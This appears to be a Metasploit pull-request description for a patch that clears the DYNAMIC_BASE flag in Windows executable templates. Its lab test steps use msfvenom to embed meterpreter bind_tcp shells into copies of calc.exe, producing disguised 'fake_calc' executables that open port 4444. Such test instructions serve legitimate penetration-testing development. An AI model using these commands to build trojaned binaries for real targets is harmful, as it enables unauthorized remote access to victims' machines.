See #4366 - Support DYNAMIC_BASE templates for executable payload generation

This resolves #4366. Basically **what this patches does is it will clear the DYNAMIC_BASE flag if you're using a Windows template** (either the default one or custom). But please note that when you're using a custom x64 template and your format is "exe", it will not work. Not because it can't clear it, but it's because that combo uses the ```exe_sub_method``` to generate the executable. That method requires you to have a "PAYLOAD:" string as a tag in the custom template... but who the heck will do this manually? So what ends up happens is when you do "-x [template] -k" in msfvenom, it will just complain about the missing "PAYLOAD". That method needs to be refactored. Instead of the "exe" format, the "exe-only" format will work better for you custom x64 template.

# Setups

Please make sure you have the following setups:

- [ ] 32-bit Windows XP
- [ ] 32-bit Windows 7
- [ ] 64-bit Windows 7
- [ ] Make sure the firewall is off for every Windows box (you can turn it off in Control Panel)

And then make sure you have these templates ready:

- [ ] Copy calc.exe from the XP box to your template folder. Let's put it in: /tmp/templates/xp_calc.exe
- [ ] Copy calc.exe from the 32-bit Win 7 box to your template folder. Let's put it in : /tmp/templates/32_calc.exe
- [ ] Copy calc.exe from the 64-bit Win 7 box to your template folder. Let's put it in: /tmp/templates/64_calc.exe

# Testing

## For the XP calc

**Do this test:**

- [ ] Do: ```./msfvenom -p windows/meterpreter/bind_tcp -x /tmp/templates/xp_calc.exe -f exe > /tmp/fake_xp_calc.exe```
- [ ] Copy /tmp/fake_xp_calc.exe to your Windows XP machine
- [ ] Double-click on the fake_xp_calc.exe file
- [ ] Open a command prompt, and then do: ```netstat -an |find "4444"```. You should see port 4444 open.

## For the 32-bit Win 7 calc

**Do this test:**

- [ ] Do: ```./msfvenom -p windows/meterpreter/bind_tcp -f exe > /tmp/32_default.exe```
- [ ] Copy /tmp/32_default.exe to your 32-bit Windows 7 machine
- [ ] Double-click 32_default
- [ ] Open a command prompt, and then do: ```netstat -an |find "4444"```. You should see port 4444 open.

**And do this test:**

- [ ] Do: ```./msfvenom -p windows/meterpreter/bind_tcp -x /tmp/templates/32_calc.exe -f exe > /tmp/fake_32_calc.exe```
- [ ] Copy /tmp/fake_32_calc.exe to your 32-bit Windows 7 machine
- [ ] Double-click on the fake_32_calc.exe file
- [ ] Open a command prompt, and then do: ```netstat -an |find "4444"```. You should see port 4444 open.

**And do this test:**

- [ ] Do: ```./msfvenom -p windows/meterpreter/bind_tcp -x /tmp/templates/32_calc.exe -f exe-only > /tmp/fake_32_calc_exe_only.exe```
- [ ] Copy /tmp/fake_32_calc_exe_only.exe to the same 32-bit Windows 7 machine
- [ ] Double-click on the fake_32_calc_exe_only.exe file
- [ ] Open a command prompt, and then do: ```netstat -an |find "4444"```. You should see port 4444 open.

## For the 64-bit Win 7 calc

**Do this test:**

- [ ] Do: ```./msfvenom -p windows/x64/meterpreter/bind_tcp -f exe-only > /tmp/64_default.exe```
- [ ] Copy /tmp/64_default.exe to your 64-bit Win 7 machine
- [ ] Open a command prompt, and then do: ```netstat -an |find "4444"```. You should see port 4444 open.

**And then do this test:**

- [ ] Do: ```./msfvenom -p windows/x64/meterpreter/bind_tcp -x /tmp/templates/64_calc.exe -f exe-only > /tmp/fake_64_calc.exe```
- [ ] Copy /tmp/fake_64_calc.exe to your 64-bit Windows 7 machine
- [ ] Double-click fake_64_calc.exe
- [ ] Open a command prompt, and then do: ```netstat -an |find "4444"```. You should see port 4444 open.

# Final step

- [ ] Congratulations, you actually went through all the steps. Have a cookie:

![cookie](https://cloud.githubusercontent.com/assets/1170914/5408609/afed78b6-81a3-11e4-995c-b98e70f4bdb9.jpg)